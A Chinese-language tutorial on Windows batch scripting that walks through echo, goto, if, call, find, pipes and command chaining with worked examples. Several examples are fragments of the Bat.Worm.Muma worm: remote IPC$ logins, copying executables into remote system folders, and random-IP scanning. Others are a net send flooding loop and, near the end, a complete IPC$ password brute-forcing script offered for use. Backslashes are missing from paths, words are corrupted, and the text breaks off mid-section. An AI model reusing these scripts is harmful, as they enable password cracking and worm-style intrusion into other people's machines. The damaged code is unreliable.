@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
這里利用了netstat命令,檢查所有的網(wǎng)絡(luò)端口狀態(tài),只需要你清楚常見木馬所使用的端口,就能很easy的判斷出來是否
被人種了冰河。然這不是確定的,因為冰河默認的端口7626,完全可以被人修改。這里介紹的只是方法和思路。
?
借批處理自動清除系統(tǒng)垃圾,腳本如下:
@echo off
if exist c:windowstemp*.* del c:windowstemp*.*
if exist c:windowsTempor~1*.* del c:windowsTempor~1*.*
if exist c:windowsHistory*.* del c:windowsHistory*.*
if exist c:windowsrecent*.* del c:windowsrecent*.*
將以上腳本內(nèi)容保存到autoexec.bat里,每次開機時就把系統(tǒng)垃圾給自動刪除了。這里需要注意兩點:一、DOS不支持長
文件名,所以就出現(xiàn)了Tempor~1這個東東;二、可根據(jù)自己的實際情況進行改動,使其符合自己的要求。
?
?
?
例五,先看一個實例。這是一個很有意思的腳本,一個小巧實用的好東東,把批處理“自動化”的特點體現(xiàn)的淋漓盡致。
先介紹一下這個腳本的來歷:大家都知道匯編程序(MASM)的上機過程,先要對源代碼進行匯編、連接,然后再執(zhí)行,而
這中間有很多環(huán)節(jié)需要輸入很多東西,麻煩的很(只有經(jīng)歷過的朋友才懂得)。如何使這個過程變的簡單呢?在我們搞匯
編課程設(shè)計時,我“被逼”寫了這個腳本,用起來很爽,呵呵??纯茨_本內(nèi)容:
@echo off
::close echo
cls
::clean screen
echo This programme is to make the MASM programme automate
::display info
echo Edit by CODERED
::display info
echo Mailto me : qqkiller***@sina.com
::display info
if "%1"=="" goto usage
::if input without paramater goto usage
if "%1"=="/?" goto usage
::if paramater is "/?" goto usage
if "%1"=="help" goto usage
::if paramater is "help" goto usage
pause
::pause to see usage
masm %1.asm
::assemble the .asm code
if errorlevel 1 pause & edit %1.asm
::if error pause to see error msg and edit the code
link %1.obj & %1
::else link the .obj file and execute the .exe file
:usage
::set usage
echo Usage: This BAT file name [asm file name]
echo Default BAT file name is START.BAT
::display usage
先不要被這一堆的東西給嚇怕了,靜下心來仔細的看(回想一下第一章中第一段是怎么寫的?。。?。已經(jīng)給出了每一行命
令的解釋,兩個冒號后面的內(nèi)容為前一行內(nèi)容解釋的E文(害怕E文的朋友也不用擔(dān)心,都很easy,一看就懂了,實在不懂
了不會查詞典啊,這么懶?),在腳本執(zhí)行時不顯示,也不起任何作用。倒數(shù)第5行行首有一個冒號,可不是筆誤哦!具
體作用后面會詳細講到。此腳本中masm和link是匯編程序和連接程序,必須和edit程序以及你要編輯的源代碼(當(dāng)然還有
這個腳本,廢話?。┮黄鹪诋?dāng)前目錄中。使用這個批處理腳本,可以最大可能的減少手工輸入,整個過程中只需要按幾下
回車鍵,即可實現(xiàn)從匯編源代碼到可執(zhí)行exe文件的自動化轉(zhuǎn)換,并具備智能判斷功能:如果匯編時源代碼出現(xiàn)錯誤(匯
編不成功),則自動暫停顯示錯誤信息,并在按任意鍵后自動進入編輯源代碼界面;如果源代碼匯編成功,則進行連接,
并在連接后自動執(zhí)行生成的exe文件。另外,由于批處理命令的簡單性和靈活性,這個腳本還具備良好的可改進性,簡單
進行修改就可以符合不同朋友的上機習(xí)慣。正在學(xué)匯編的朋友,一定別忘了實習(xí)一下!
在這個腳本中出現(xiàn)了如下幾個命令:@、echo、::、pause、:和goto、%以及if。而這一章就將講述這幾個命令。
1、@
這個符號大家都不陌生,email的必備符號,它怎么會跑到批處理中呢?呵呵,不是它的錯,批處理本來就離不開它,要
不就不完美了。它的作用是讓執(zhí)行窗口中不顯示它后面這一行的命令本身(多么繞口的一句話?。?。呵呵,通俗一點說,
行首有了它的話,這一行的命令就不顯示了。在例五中,首行的@echo off中,@的作用就是讓腳本在執(zhí)行時不顯示后面的
echo off部分。這下懂了吧?還是不太懂?沒關(guān)系,看完echo命令簡介,自然就懂了。
2、echo
中文為“反饋”、“回顯”的意思。它其實是一個開關(guān)命令,就是說它只有兩種狀態(tài):打開和關(guān)閉。于是就有了echo on
和echo off兩個命令了。直接執(zhí)行echo命令將顯示當(dāng)前echo命令狀態(tài)(off或on)執(zhí)行echo off將關(guān)閉回顯,它后面的所
有命令都不顯示命令本身,只顯示執(zhí)行后的結(jié)果,除非執(zhí)行echo on命令。在例五中,首行的@命令和echo off命令聯(lián)合起
來,達到了兩個目的:不顯示echo off命令本身,不顯示以后各行中的命令本身。的確是有點亂,但你要是練習(xí)一下的話
,3分鐘包會,不會的退錢!
echo命令的另一種用法一:可以用它來顯示信息!如例五中倒數(shù)第二行,Default BAT file name is START.BAT將在腳本
執(zhí)行后的窗口中顯示,而echo命令本身不顯示(為什么??)。
echo命令的另一種用法二:可以直接編輯文本文件。例六:
echo nbtstat -A 192.168.0.1 > a.bat
echo nbtstat -A 192.168.0.2 >> a.bat
echo nbtstat -A 192.168.0.3 >> a.bat
以上腳本內(nèi)容的編輯方法是,直接是命令行輸入,每行一回車。最后就會在當(dāng)前目錄下生成一個a.bat的文件,直接執(zhí)行
就會得到結(jié)果。
3、::
這個命令的作用很簡單,它是注釋命令,在批處理腳本中和rem命令等效。它后面的內(nèi)容在執(zhí)行時不顯示,也不起任何作
用,因為它只是注釋,只是增加了腳本的可讀性,和C語言中的/*…………*/類似。地球人都能看懂,就不多說了。
4、pause
中文為“暫?!钡囊馑迹纯茨愕膚orkman上),我一直認為它是批處理中最簡單的一個命令,單純、實用。它的作用,
是讓當(dāng)前程序進程暫停一下,并顯示一行信息:請按任意鍵繼續(xù). . .。在例五中這個命令運用了兩次,第一次的作用是
讓使用者看清楚程序信息,第二個是顯示錯誤的匯編代碼信息(其實不是它想顯示,而是masm程序在顯示錯誤信息時被暫
它停了,以便讓你看清楚你的源代碼錯在哪里)。
5、:和goto
為什么要把這兩個命令聯(lián)合起來介紹?因為它們是分不開的,無論少了哪個或多了哪個都會出錯。goto是個跳轉(zhuǎn)命令,:
是一個標簽。當(dāng)程序運行到goto時,將自動跳轉(zhuǎn)到:定義的部分去執(zhí)行了(是不是分不開?)。例五中倒數(shù)第5行行首出現(xiàn)
一個:,則程序在運行到goto時就自動跳轉(zhuǎn)到:標簽定義的部分執(zhí)行,結(jié)果是顯示腳本usage(usage就是標簽名稱)。不難
看出,goto命令就是根據(jù)這個冒號和標簽名稱來尋找它該跳轉(zhuǎn)的地方,它們是一一對應(yīng)的關(guān)系。goto命令也經(jīng)常和if命令
結(jié)合使用。至于這兩個命令具體用法,參照例五。
goto命令的另一種用法一:提前結(jié)束程序。在程序中間使用goto命令跳轉(zhuǎn)到某一標簽,而這一標簽的內(nèi)容卻定義為退出。
如:
……
goto end
……
:end
這里:end在腳本最后一行!其實這個例子很弱智,后面講了if命令和組合命令你就知道了。
6、%
這個百分號嚴格來說是算不上命令的,它只是批處理中的參數(shù)而已(多個%一起使用的情況除外,以后還將詳細介紹),
但千萬別以為它只是參數(shù)就小看了它(看看例五中有多少地方用到它?),少了它批處理的功能就減少了51%了。看看例
七:
net use \%1ipc$ %3 /u:"%2"
copy 11.BAT \%1admin$system32 /y
copy 13.BAT \%1admin$system32 /y
copy ipc2.BAT \%1admin$system32 /y
copy NWZI.EXE \%1admin$system32 /y
attrib \%1admin$system32?.bat -r -h -s
以上代碼是Bat.Worm.Muma病毒中的一部分,%1代表的IP,2%代表的username,3%代表password。執(zhí)行形式為:腳本文件
名 參數(shù)一 參數(shù)二 ……。假設(shè)這個腳本被保存為a.bat,則執(zhí)行形式如下:a IP username password。這里IP、username
、password是三個參數(shù),缺一不可(因為程序不能正確運行,并不是因為少了參數(shù)語法就不對)這樣在腳本執(zhí)行過程中,
腳本就自動用用你的三個參數(shù)依次(記住,是依次!也是一一對應(yīng)的關(guān)系。)代換1%、2%和3%,這樣就達到了靈活運用的
目的(試想,如果在腳本中直接把IP、username和password都定義死,那么腳本的作用也就被固定了,但如果使用%的話
,不同的參數(shù)可以達到不同的目的,是不是更靈活?)。
?
?
?
?
?
?
7、if
接上一章,接著講if命令。總的來說,if命令是一個表示判斷的命令,根據(jù)得出的每一個結(jié)果,它都可以對應(yīng)一個相應(yīng)的
好啊作。關(guān)于它的三種用法,在這里分開講。
(1)、輸入判斷。還是用例五里面的那幾句吧:
if "%1"=="" goto usage
if "%1"=="/?" goto usage
if "%1"=="help" goto usage
這里判斷輸入的參數(shù)情況,如果參數(shù)為空(無參數(shù)),則跳轉(zhuǎn)到usage;如果參數(shù)為/?或help時(大家一般看一個命令的
幫助,是不是輸入的/?或help呢,這里這么做只是為了讓這個腳本看起來更像一個真正的程序),也跳轉(zhuǎn)到usage。這里
還可以用否定形式來表示“不等于”,例如:if not "%1"=="" goto usage,則表示如果輸入?yún)?shù)不為空就跳轉(zhuǎn)到usage
(實際中這樣做就沒意義了,這里介紹用法,管不了那么多了,呵呵。)是不是很簡單?其實翻譯成中文體會一下就
understand了。
?
?
?
(2)、存在判斷。再看例二里這句:
if exist C:Progra~1TencentAD*.gif del C:Progra~1TencentAD*.gif
如果存在那些gif文件,就刪除這些文件。當(dāng)然還有例四,都是一樣的道理。注意,這里的條件判斷是判斷存在的,當(dāng)然
也可以判斷不存在的,例如下面這句“如果不存在那些gif文件則退出腳本”:if not exist C:Progra~1
TencentAD*.gif exit。只是多一個not來表示否定而已。
?
(3)、結(jié)果判斷。還是拿例五開刀(沒想到自己寫的腳本,竟然用處這么大,呵呵):
masm %1.asm
if errorlevel 1 pause & edit %1.asm
link %1.obj
先對源代碼進行匯編,如果失敗則暫停顯示錯誤信息,并在按任意鍵后自動進入編輯界面;否則用link程序連接生成的
obj文件。這里只介紹一下和if命令有關(guān)的地方,&命令后面會講到。這種用法是先判斷前一個命令執(zhí)行后的返回碼(也叫
錯誤碼,DOS程序在運行完后都有返回碼),如果和定義的錯誤碼符合(這里定義的錯誤碼為1),則執(zhí)行相應(yīng)的好啊作(
這里相應(yīng)的好啊作為pause & edit %1.asm部分)。
另外,和其他兩種用法一樣,這種用法也可以表示否定。用否定的形式仍表達上面三句的意思,代碼變?yōu)椋?
masm %1.asm
if not errorlevel 1 link %1.obj
pause & edit %1.asm
看到本質(zhì)了吧?其實只是把結(jié)果判斷后所執(zhí)行的命令互換了一下,“if not errorlevel 1”和“if errorlevel 0”的效
果是等效的,都表示上一句masm命令執(zhí)行成功(因為它是錯誤判斷,而且返回碼為0,0就表示否定,就是說這個錯誤不存
在,就是說masm執(zhí)行成功)。這里是否加not,錯誤碼到底用0還是1,是值得考慮的兩個問題,一旦搭配不成功腳本就肯
定出錯,所以一定要體會的很深刻才行。如何體會的深刻?練習(xí)!自己寫一個腳本,然后把有not和沒有not的情況,返回
碼為0或1的情況分別寫進去執(zhí)行(怎么,嫌麻煩?。颗帕薪M合算一下才四中情況你就嫌麻煩了?后面介紹管道命令和組合
命令時還有更麻煩的呢!怕了?呵呵。),這樣從執(zhí)行的結(jié)果中就能很清楚的看出這兩種情況的區(qū)別。
這種用errorlevel結(jié)果判斷的用法是if命令最難的用法,但也恰恰是最有用的用法,如果你不會用errorlevel來判斷返回
碼,則要達到相同的效果,必須用else來表示“否則”的好啊作,是比較麻煩的。以上代碼必須變成:
masm %1.asm
if exist %1.obj link %1.obj
else pause & edit %1.asm
關(guān)于if命令的這三種用法就say到這里,理解很簡單,但應(yīng)用時就不一定用的那么得心應(yīng)手,主要是熟練程度的問題???
能有的朋友有點驚訝,我怎么沒給出類似下面三行的用法介紹,是因為下面三行是if命令幫助里對它自身用法的解釋,任
何人只要一個“if /?”就能看到,我沒有必要在這里多費口舌;更重要的原因,是我覺得這樣介紹的不清楚,看的人不
一定看的懂,所以我采用上面自己對if命令的理解來介紹。一定要注意的是,這三種用法的格式各不相同,而且也是不能
改變的,但實際上可以互換(以為從本質(zhì)上講,這三種用法都是建立在判斷的基礎(chǔ)上的,哲學(xué)教我們學(xué)會透過現(xiàn)象看事物
本質(zhì)?。S信d趣的朋友可以自己研究一下。
IF [NOT] ERRORLEVEL number do command
IF [NOT] string1==string2 do command
IF [NOT] EXIST filename do command
8、call
學(xué)過匯編或C的朋友,肯定都知道call指令表示什么意思了,在這里它的意思其實也是一樣的。在批處理腳本中,call命
令用來從一個批處理腳本中調(diào)用另一個批處理腳本。看例八(默認的三個腳本文件名分別為start.bat、10.bat和ipc.bat
):
start.bat:
……
CALL 10.BAT 0
……
10.bat:
……
ECHO %IPA%.%1 >HFIND.TMP
……
CALL ipc.bat IPCFind.txt
ipc.bat:
for /f "tokens=1,2,3 delims= " %%i in (%1) do call HACK.bat %%i %%j %%k
有沒有看出什么不對的地方?沒看出來?。繘]看出來就對了,其實就沒有不對的地方嘛,你怎么看的出來!從上面兩個腳
本,你可以得到如下信息:1、腳本調(diào)用可以靈活運用,循環(huán)運用、重復(fù)運用。2、腳本調(diào)用可以使用參數(shù)!關(guān)于第一點就
不多說了,聰明的你一看就應(yīng)該會,這里說一下第二點。
在start.bat中,10.bat后面跟了參數(shù)0,在執(zhí)行時的效果,其實就是把10.bat里的參數(shù)%1用0代替。在start.bat中,
ipc.bat后面跟了參數(shù)ipcfind.txt(一個文件,也可以做參數(shù)),執(zhí)行時的效果,就是用ipc.bat中的每一行的三個變量
(這里不懂沒關(guān)系,學(xué)過for命令后就懂了),對應(yīng)代換ipc.bat中的%%i、%%j和%%k。這里參數(shù)調(diào)用是非常靈活的,使用
時需要好好體會。在初學(xué)期間,可以先學(xué)習(xí)只調(diào)用腳本,至于連腳本的參數(shù)一起使用的情況,在后面的學(xué)習(xí)中自然就會有
比較深刻的理解,這是因為當(dāng)你已經(jīng)可以靈活運用批處理腳本后,如何使代碼寫的更精簡更完美更高效就自然包括到了考
慮的范圍,這時候你就會發(fā)現(xiàn)在調(diào)用腳本時直接加入?yún)?shù),可以使代碼效率加倍。By the way,上面的這幾個腳本,都是
Bat.Worm.Muma病毒的一部分,在后面的教程里,大家將有機會見到這個病毒的真面目。
那是不是說,在同一個目錄下至少存在兩個批處理腳本文件(只有一個你調(diào)用誰?)?呵呵,注意了,這句話錯了??!只
有一個照樣可以調(diào)用----調(diào)用自身!看例九(默認腳本文件名a.bat):
net send %1 This is a call example.
call a.bat
這兩句一結(jié)合,效果自然不怎么樣,因為只有一臺機器來發(fā)消息,誰怕誰???我給你來個禮尚往來!可如果有100臺機器
同時執(zhí)行,而且每臺機器開10和窗口同時向一個目標機器發(fā)消息的話,呵呵。這里call a.bat的作用就是調(diào)用自身,執(zhí)行
完前一句net send命令后再調(diào)用自身,達到了循環(huán)執(zhí)行的目的。
給出一個很有意思的腳本,有興趣的朋友可以實驗一下。例十(默認腳本文件名為a.bat):
call a.bat
一定要在DOS窗口下執(zhí)行,否則只會看到一個窗口一閃而過,看不到最后結(jié)果。等執(zhí)行完后,當(dāng)腳本被執(zhí)行了1260次,別
忘了想一下到底是為什么!愛情有時候跟這個腳本一樣,一旦陷入死循環(huán),最后的結(jié)果都是意想不到的。只是愛情,絕對
不會等到被毫無理由的循環(huán)這么多次,也許在第三次時就出現(xiàn)了love is aborted的提示。
9、find
這是一個搜索命令,用來在文件中搜索特定字符串,通常也作為條件判斷的鋪墊程序(我怎么突然想起了這四個字?)。
這個命令單獨使用的情況在批處理中是比較少見的,因為沒什么實際意義。還是借例三來說明:
@echo off
netstat -a -n > a.txt
type a.txt | find "7626" && echo "Congratulations! You have infected GLACIER!"
del a.txt
pause & exit
先用netstat命令檢查是否有冰河默認的端口7626在活動,并把結(jié)果保存到a.txt中。然后使用type命令列出a.txt中的內(nèi)
容,再在列出的內(nèi)容中搜索字符串“7626” ,發(fā)現(xiàn)有的話則提示中了冰河,否則退出。看,find命令其實就這么簡單,
但有一點必須要注意到:如果不使用type命令列出a.txt中的內(nèi)容,而是直接使用find命令在a.txt中找“7626”(find
a.txt "7626" && echo "Congratulations! You have infected GLACIER!"),就必須得給出這個a.txt的絕對路徑(我
試過了,find并沒有默認路徑就是當(dāng)前路徑的功能,必須手動指定。也許是我錯了,歡迎指正)。因為在find命令的幫助
里有這么一句話:如果沒有指定路徑,find將搜索鍵入的或者由另一個命令產(chǎn)生的文字。這里的“另一個命令”自然就指
的type命令了。
至于find命令的其他幾個參數(shù)如v、n、i等,有興趣的朋友自己去研究吧,這已經(jīng)屬于DOS學(xué)習(xí)的內(nèi)容了,這里就不做介紹
。關(guān)于find命令和其他命令的一些更精妙的用法(有些簡直令人叫絕),后續(xù)的教程中將介紹,希望關(guān)注。
10、for、set、shift
為什么把這三個命令放到一起來講?原因除了我說明外,恐怕誰也想不到!很簡單的一句話:其實我也不太懂!是的,對
于這兩個命令,我是從研究Bat.Worm.Muma病毒開始學(xué)習(xí)的,時間過去了不少,但還是沒完全搞明白,我怕講出來連自己
都看不懂,我更怕不小心講錯了成了罪人。所以我給出一個腳本去告訴你,如何讓這兩個命令給自己留一個初步的印象,
其實也就是這兩個命令的入門,而并不是說如何領(lǐng)會這兩個命令。因為要領(lǐng)會如此精妙的兩個命令(特別是for)談何容
易!也許你會表揚我說我誠實、不懂就不懂;也許你會罵我,讓我既然不懂就趕緊滾蛋,不要在這里丟人顯眼;也許你還
會說一些別的這樣那樣好聽或不好聽的話,都隨便你了,即使我不同意你說的話,我也會誓死捍衛(wèi)你說話的權(quán)利??蠢?
一:
@echo off
for /? > for.txt
set /? > set.txt
shift /? >shift.txt
exit
執(zhí)行后在當(dāng)前路徑下就生成for.txt、set.txt和shift.txt三個文件,里面分別記錄了for命令、set命令和shift命令的幫
助信息。地球人都能看懂,我就不多說了。我在網(wǎng)上曾經(jīng)找了很長時間這三個命令的教程,但都不理想,基本都是照搬的
幫助信息。我想在自己完全掌握了這兩個命令后,一定要寫一篇用自己的文字總結(jié)出來的for、set和shift教程(關(guān)于
shift命令,后面介紹批處理的參數(shù)時還將涉及到),一定會的,這是我的心愿之一!需要注意的一點是,這三個命令的
幫助里 ,介紹的都比較死板,雖然也舉了一些例子,但這是遠遠不夠的。要掌握這兩個命令,最需要的就是耐心!沒寫
錯,就是耐心。光是認真看完它們的幫助文字就已經(jīng)需要足夠的耐心了,要進一步練習(xí)領(lǐng)會這兩個命令,難道不需要更大
的耐心?實戰(zhàn)練習(xí)的機會我會留給你的,關(guān)鍵還是那句話,看你有沒有耐心去研究了??纯蠢?br />
?
?
二:
START.BAT:
CALL MUMA.BAT
SET IPA=192.168
CALL 10.BAT 0
:NEARAGAIN
netstat -n|find ":" >A.TMP
FOR /F "tokens=7,8,9,10,12 delims=.: " %%I IN (A.TMP) DO SET NUM1=%%I&& SET NUM2=%%J&& SET NUM3=%%K&& SET
NUM4=%%L&& SET NUM5=%%M&& CALL NEAR.BAT
:START
CALL RANDOM.BAT
IF "%NUM1%"=="255" GOTO NEARAGAIN
IF "%NUM1%"=="192" GOTO NEARAGAIN
IF "%NUM1%"=="127" GOTO NEARAGAIN
IF "%NUM2%"=="255" GOTO NEARAGAIN
IF "%NUM3%"=="255" GOTO NEARAGAIN
IF "%NUM4%"=="255" GOTO NEARAGAIN
SET IPA=%NUM1%.%NUM2%
ECHO START > A.LOG
PING %IPA%.%NUM3%.1>B.TMP
PING %IPA%.%NUM3%.%NUM4%>>B.TMP
FIND /C /I "from" B.TMP
IF ERRORLEVEL 1 GOTO START
CALL 10.BAT %NUM3%
DEL A.LOG
GOTO START
這是Bat.Worm.Muma病毒的起始腳本,設(shè)置了病毒運行的環(huán)境變量。
?
?
?
11、|
這個命令恐怕大家不是很陌生,經(jīng)常好啊作DOS的朋友都應(yīng)該知道,當(dāng)我們查看一個命令的幫助時,如果幫助信息比較長
,一屏幕顯示不完時DOS并不給我們時間讓我們看完一屏幕再翻到另一屏幕,而是直接顯示到幫助信息的最后。如在提示
符下輸入help回車時,就會看到當(dāng)前DOS版本所支持的所有非隱含命令,但你只能看到最后的那些命令,前面的早就一閃
而過了,如何解決這個問題?看例十三:
help | more
回車后會發(fā)現(xiàn)顯示滿一屏幕后就自動暫停,等候繼續(xù)顯示其他信息。當(dāng)按寫回車時,變成一個一個的出現(xiàn);按下空格鍵時
一屏幕一屏幕顯示,直到全部顯示完為止;按其他鍵自動停止返回DOS。
為什么會出現(xiàn)上述現(xiàn)象?答案很簡單,這里結(jié)合了管道命令|和DOS命令more來共同達到目的的。這里先簡單介紹一下help
命令和more命令,對理解|命令的用法有很大幫助。
11.1、help命令。其實這個命令是不需要多說的,但在上述例子中help命令的用法比較特殊,直接在DOS提示符下輸入
help命令,結(jié)果是讓DOS顯示其所支持的所有非隱含命令,而在其他地方用help命令,如輸入net help回車,則是顯示net
命令的幫助信息。
11.2、more命令??赡芎芏嗯笥岩郧熬蜎]有接觸過這個命令,這個命令在Linux下的用處非常廣泛,也是管道命令之一。
大家可以找一篇比較長的文章(a.txt)在DOS提示符下輸入如下兩個命令去比較一下差別:more a.txt和type a.txt。利
用more命令,可以達到逐屏或逐行顯示輸出的效果,而type命令只能一次把輸出顯示完,最后的結(jié)果就是只能看到末尾的
部分。在例十三里,more命令的作用就是讓輸出的信息逐屏或逐行顯示。
看到這里,你是否已經(jīng)能隱約感受到了|命令的作用了?沒錯,它的作用,就是把前一命令的輸出當(dāng)后一命令的輸入來用
的。在例十三里,前一命令的輸出,就是help命令執(zhí)行后顯示的DOS所支持的所有非隱含命令,而這個結(jié)果剛好做了后一
命令more的輸入。所以例十三和下面的例十四是等效的:
help > a.txt
more a.txt
del a.txt
這里利用另一管道命令>生成了一個a.txt文件作為中間環(huán)節(jié),在用more命令查看a.txt文件后再刪除a.txt文件(例十三的
所有好啊作是在內(nèi)存中進行的,不生成文件)??梢钥闯觯_使用管道命令|可以帶來事半功倍的效果。
結(jié)合例十三和例十四,以及前面的例九再體會一遍:|命令的作用,就是讓前一命令的輸出當(dāng)做后一命令的輸入。
?
?
?
?
12、>、>>
這兩個命令的效果從本質(zhì)上來說都是一樣的,他們都是輸出重定向命令,說的通俗一點,就是把前面命令的輸出寫入到一
個文件中。這兩個命令的唯一區(qū)別是,>會清除掉原有文件中的內(nèi)容后把新的內(nèi)容寫入原文件,而>>只會另起一行追加新
的內(nèi)容到原文件中,而不會改動其中的原有內(nèi)容。例十五:
echo @echo off > a.bat
echo echo This is a pipeline command example. >> a.bat
echo echo It is very easy? >> a.bat
echo echo Believe your self! >> a.bat
echo pause >> a.bat
echo exit >> a.bat
依次在DOS提示符下輸入以上各行命令,一行一個回車,將在當(dāng)前目錄下生成一個a.bat文件,里面的內(nèi)容如下:
@echo off
echo This is a pipeline command example.
echo It is very easy?
echo Believe your self!
pause
exit
看到這里,你得到了多少信息?1、可以直接在DOS提示符下利用echo命令的寫入功能編輯一個文本,而不需要專門的文本
編輯工具;2、管道命令>和>>的區(qū)別如上所述。如果這里只用>命令來完成上面好啊作,最后也會生成一個a.bat,但里面
的內(nèi)容就只剩下最后一行exit了。所以>和>>一般都聯(lián)合起來用,除非你重定向的輸出只有一行,那么就可以只用>了。結(jié)
合例一再仔細體會輸出重定向管道命令>和>>的用法。
13、
?
?
14、&
這可以說是最簡單的一個組合命令了,它的作用是用來連接n個DOS命令,并把這些命令按順序執(zhí)行,而不管是否有命令執(zhí)
行失敗。例十六:
copy a.txt b.txt /y & del a.txt
其實這句和move a.txt b.txt的效果是一樣的,只不過前者是分了兩步來進行的(在后面還將涉及到具體使用哪種方法的
問題)。這個命令很簡單,就不多費口舌了,唯一需要注意的一點是,這里&兩邊的命令是有執(zhí)行順序的,從前往后執(zhí)行
?
?
15、&&
切記,這里介紹的幾個命令都是組合命令,所以他們前后都必須都有其他命令(要不如何組合?)。這個命令也不例外,
它可以把它前后兩個命令組合起來當(dāng)一個命令來用,與&命令不同之處在于,它在從前往后依次執(zhí)行被它連接的幾個命令
時會自動判斷是否有某個命令執(zhí)行出錯,一旦發(fā)現(xiàn)出錯后將不繼續(xù)執(zhí)行后面剩下的命令。這就為我們自動化完成一些任務(wù)
提供了方便。例十七:
dir 文件://1%/www/user.mdb && copy 文件://1%/www/user.mdb e:backupwww
如果遠程主機存在user.mdb,則copy到本地e:backupwww,如果不存在當(dāng)然就不執(zhí)行copy了。這句對搞網(wǎng)管的朋友是否
有點用呢?呵呵。其實它和下面這句的作用是一樣的:
if exist 文件://1%/www/user.mdb copy 文件://1%/www/user.mdb e:backupwww
至于你喜歡用哪個就隨便了,我沒辦法判斷dir和if兩個命令哪一個執(zhí)行效率更高,所以不知道用哪個更好,呵呵。
你是否還記得“有些命令是不能同時執(zhí)行的”?你是否相信這句話?當(dāng)然得相信,不信就給你出道題:把C盤和D盤的文件
和文件夾列出到a.txt文件中。你將如何來搞定這道題?有朋友說,這還不是很easy的問題嗎?同時執(zhí)行兩個dir,然后把
得到的結(jié)果>到a.txt里就ok了嘛,看例十八:
dir c: && dir d: > a.txt
仔細研究一下這句執(zhí)行后的結(jié)果,看看是否能達到題目的要求!錯了!這樣執(zhí)行后a.txt里只有D盤的信息!為什么?就因
為這里&&命令和>命令不能同時出現(xiàn)一個句子里(批處理把一行看成一個句子)??!組合命令&&的優(yōu)先級沒有管道命令>的
優(yōu)先級高(自己總結(jié)的,不妥的地方請指正)!所以這句在執(zhí)行時將本分成這兩部分:dir c:和dir d: > a.txt,而并
不是如你想的這兩部分:dir c: && dir d:和> a.txt。要使用組合命令&&達到題目的要求,必須得這么寫:
dir c: > a.txt && dir d: >> a.txt
這樣,依據(jù)優(yōu)先級高低,DOS將把這句話分成以下兩部分:dir c: > a.txt和dir d: >> a.txt。例十八中的幾句的差別
比較特殊,值得好好研究體會一下。
當(dāng)然這里還可以利用&命令(自己想一下道理哦):
dir c: > a.txt & dir d: >> a.txt
16、||
這個命令的用法和&&幾乎一樣,但作用剛好和它相反:利用這種方法在執(zhí)行多條命令時,當(dāng)遇到一個執(zhí)行正確的命令就退
出此命令組合,不再繼續(xù)執(zhí)行下面的命令。題目:查看當(dāng)前目錄下是否有以s開頭的exe文件,如果有則退出。例十九:
@echo off
dir s*.exe || exit
其實這個例子是有破綻的,你看出來了嗎?其實很簡單,自己試試就知道了嘛:如果存在那個exe文件,就退出;如果不
存在那個exe文件,也退出!為什么?因為如果不存在那個.exe文件,則前一條命令dir s*.exe執(zhí)行肯定是不成功的,所
以就繼續(xù)執(zhí)行exit,自然就退出了,呵呵。那么如何解決題目給出的問題呢?看例二十:
@echo off
dir s*.exe || echo Didn't exist file s*.exe & pause & exit
這樣執(zhí)行的結(jié)果,就能達到題目的要求,是否存在s*.exe將出現(xiàn)兩種結(jié)果。這里加暫停的意思,當(dāng)然是讓你能看到echo輸
出的內(nèi)容,否則一閃而過的窗口,echo就白寫了。
給出兩個更好研究優(yōu)先級(同時也是更難理解)的腳本,仔細研究它們的區(qū)別,以便徹底理解各種命令的優(yōu)先級順序,對
以后自己利用這些命令寫腳本有很大的好處----不會出錯!OK,請看例二十一和例二十二:
例二十一:
@echo off
dir a.ttt /a & dir a.txt || exit
例二十二:
@echo off
dir a.ttt /a && dir a.txt || exit
警告:患有心腦血管病的朋友請不要研究以上兩例,否則輕者頭大如斗,重者血管爆裂。任何人由于研究這兩個腳本的區(qū)
別而造成的任何事故由自己或其合法監(jiān)護人負責(zé),與本人和本論壇無關(guān)。特此警告!
有關(guān)管道命令和組合命令就大概介紹到這里了,不知道聰明的你是否理解?呵呵,能理解就成天才了,除非你以前就已經(jīng)
掌握!千萬別小看了這幾個鬼命令,大棒槌是我的說,簡直就不是人學(xué)的東西!但我還是靜下心來研究了一番,最后得出
的結(jié)論如上所述,已經(jīng)一點不剩的交給你了,希望你好好收藏并消化吸收,當(dāng)然有錯誤被你發(fā)現(xiàn)了,或者不完整的地方被
你看出來了,請趕緊告訴我一聲!
這幾個命令真的把我的頭都搞大了。在網(wǎng)上有一篇流傳很廣的批處理教程:“簡明批處理教程”,雖然說的比較全面,但
看起來很不過癮。在對for等命令介紹時就一個for /? > a.txt & start a.txt完事了(當(dāng)然這一點上我不能說人家什么
,畢竟我連for /?都沒給出),而對上述管道命令和組合命令、以及這篇教程以后將講到的用批處理好啊作注冊表等方面
根本沒有介紹。我之所以花整整一章來講管道命令和組合命令,是因為他們才是批處理的精華和靈魂,能否正確利用好這
幾個命令,是能否掌握批處理的前提條件。如for、set等DOS命令的問題,可以從DOS的角度出發(fā)專門有針對性的學(xué)習(xí),但
有關(guān)這幾個命令的問題,卻是不容易精通掌握的----他們之間的關(guān)系太復(fù)雜了!
將下列代碼存為bat文件
1、如果用字典破解:pass.bat 字典文件路徑及名稱 主機 用戶名
2、如果用數(shù)字破解:pass.bat 起始數(shù) 步長 結(jié)束數(shù) 主機 用戶名
密碼破解出來之后,存放于c:pass.txt文件里面。
將下列代碼存為pass.bat文件
@echo off
echo ------------------------------------------------------------------- >>c:pass.txt
echo ------------------------------------------------------------------- >>c:pass.txt
date /t >>c:pass.txt
time /t >>c:pass.txt
echo 破解結(jié)果: >>c:pass.txt
if "%6"=="1" goto 大棒槌是我的說2
:大棒槌是我的說1
start "正在破解" /min cmd /c for /f %%i in (%1) do call test.bat %2 "%%i" %3
goto quit
:大棒槌是我的說2
start "正在破解" /min cmd /c for /l %%i in (%1,%2,%3) do call test.bat %4 "%%i" %5
:quit
將下列代碼存為test.bat
net use \%1ipc$ %2 /user:"%3"
goto answer%ERRORLEVEL%
rem %ERRORLEVEL%表示取前一命令執(zhí)行返回結(jié)果,net use成功返回0,失敗返回2
:answer0
echo 遠程主機:"%1" >>c:pass.txt
echo 用 戶:"%3" >>c:pass.txt
echo 密 碼:%2 >>c:pass.txt
net use \%1ipc$ /delet
exit
:answer2
For
對一組文件中的每個文件運行指定的命令。
可以在批處理程序中或直接從命令提示符使用 for 命令。
要在批處理程序中使用 for 命令,請使用以下語法:
for %%variable in (set) docommand [command-parameters]
要在命令提示符下使用 for,請使用以下語法:
for %variable in (set) do command [command-parameters]
參數(shù)
%%variable 或 %variable
